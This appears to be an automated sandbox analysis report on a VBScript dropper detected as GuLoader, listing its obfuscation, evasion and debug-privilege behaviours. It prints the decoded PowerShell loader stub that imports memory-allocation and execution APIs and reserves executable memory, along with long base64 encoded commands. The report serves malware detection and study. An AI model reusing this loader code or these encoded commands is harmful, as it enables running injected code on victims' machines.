Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\IMG 0045434.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: ShellExecute("C:\Windows\SysWOW64\WindowsPowerShell\v", " -EncodedCommand "IwBiAHIAaQBjAGsAIABMA", "", "", "0")
Yara detected GuLoader
Source: Yara match File source: 00000003.00000002.1189973609.00000000098B0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_07E660A8 push eax; mov dword ptr [esp], edx 3_2_07E660BC
Compiles C# or VB.Net code
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ridmj1ad\ridmj1ad.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ridmj1ad\ridmj1ad.cmdline Jump to behavior

Persistence and Installation Behavior
barindex
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\ridmj1ad\ridmj1ad.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\wscript.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2912 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ridmj1ad\ridmj1ad.dll Jump to dropped file
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5373 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2280 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 00000003.00000002.1182278498.000000000566A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V
Source: wscript.exe, 00000001.00000003.734411949.00000169969AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\#
Source: powershell.exe, 00000003.00000002.1180651928.00000000050F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1182278498.000000000566A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: l:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V

Anti Debugging
barindex
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Encrypted powershell cmdline option found
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #brick Lillith Post8 Tactilesi RADICU Parrafoura Servbjer4 Buttwo8 ghent OMSK Songishmi3 CUPPERSDEX Srge9 Ingnu1 Kandelabr3 Saronic MIKEYNOTH NITRERIN TACK PIGPENB Betapart5 genioh Ugeskrif Beslagsm7 Nonpsych9 sensitiz Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Sludrech1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Sludrech6,ref Int32 VERSALERN,int Forbistrin,ref Int32 Sludrech,int Refrman,int Sludrech7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Monstr,uint Melle8,int Nonpercep,int Sludrech0,int HABAN,int BAAN,int NRINGS);[DllImport("kernel32.dll")]public static extern int ReadFile(int Forbistrin0,uint Forbistrin1,IntPtr Forbistrin2,ref Int32 Forbistrin3,int Forbistrin4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Forbistrin5,int Forbistrin6,int Forbistrin7,int Forbistrin8,int Forbistrin9);}"@#cisterci punkter Temu4 PATRONES Hestek UNREFO bekrans Pampr Genbru decer Crescent Thiasusi piltst Omsorgsce Prel6 barskabesn Metathe Televsnets6 Smals7 BOOSTERI mism PINS Tndehvl1 skriv Over unpropag Test-Path "Hild3" Test-Path "Pierid" $Sludrech3=0;$Sludrech9=1048576;$Sludrech8=[Sludrech1]::NtAllocateVirtualMemory(-1,[ref]$Sludrech3,0,[ref]$Sludrech9,12288,64)#sogne sang NYTVANC Rilletpro8 popular billedm lseproc constan Subte Ilsabet9 hulkynap bevrteren Sidevi Mast Ensom1 Underscale1 Trykker
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #brick Lillith Post8 Tactilesi RADICU Parrafoura Servbjer4 Buttwo8 ghent OMSK Songishmi3 CUPPERSDEX Srge9 Ingnu1 Kandelabr3 Saronic MIKEYNOTH NITRERIN TACK PIGPENB Betapart5 genioh Ugeskrif Beslagsm7 Nonpsych9 sensitiz Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Sludrech1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Sludrech6,ref Int32 VERSALERN,int Forbistrin,ref Int32 Sludrech,int Refrman,int Sludrech7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Monstr,uint Melle8,int Nonpercep,int Sludrech0,int HABAN,int BAAN,int NRINGS);[DllImport("kernel32.dll")]public static extern int ReadFile(int Forbistrin0,uint Forbistrin1,IntPtr Forbistrin2,ref Int32 Forbistrin3,int Forbistrin4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Forbistrin5,int Forbistrin6,int Forbistrin7,int Forbistrin8,int Forbistrin9);}"@#cisterci punkter Temu4 PATRONES Hestek UNREFO bekrans Pampr Genbru decer Crescent Thiasusi piltst Omsorgsce Prel6 barskabesn Metathe Televsnets6 Smals7 BOOSTERI mism PINS Tndehvl1 skriv Over unpropag Test-Path "Hild3" Test-Path "Pierid" $Sludrech3=0;$Sludrech9=1048576;$Sludrech8=[Sludrech1]::NtAllocateVirtualMemory(-1,[ref]$Sludrech3,0,[ref]$Sludrech9,12288,64)#sogne sang NYTVANC Rilletpro8 popular billedm lseproc constan Subte Ilsabet9 hulkynap bevrteren Sidevi Mast Ensom1 Underscale1 Trykker Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIAB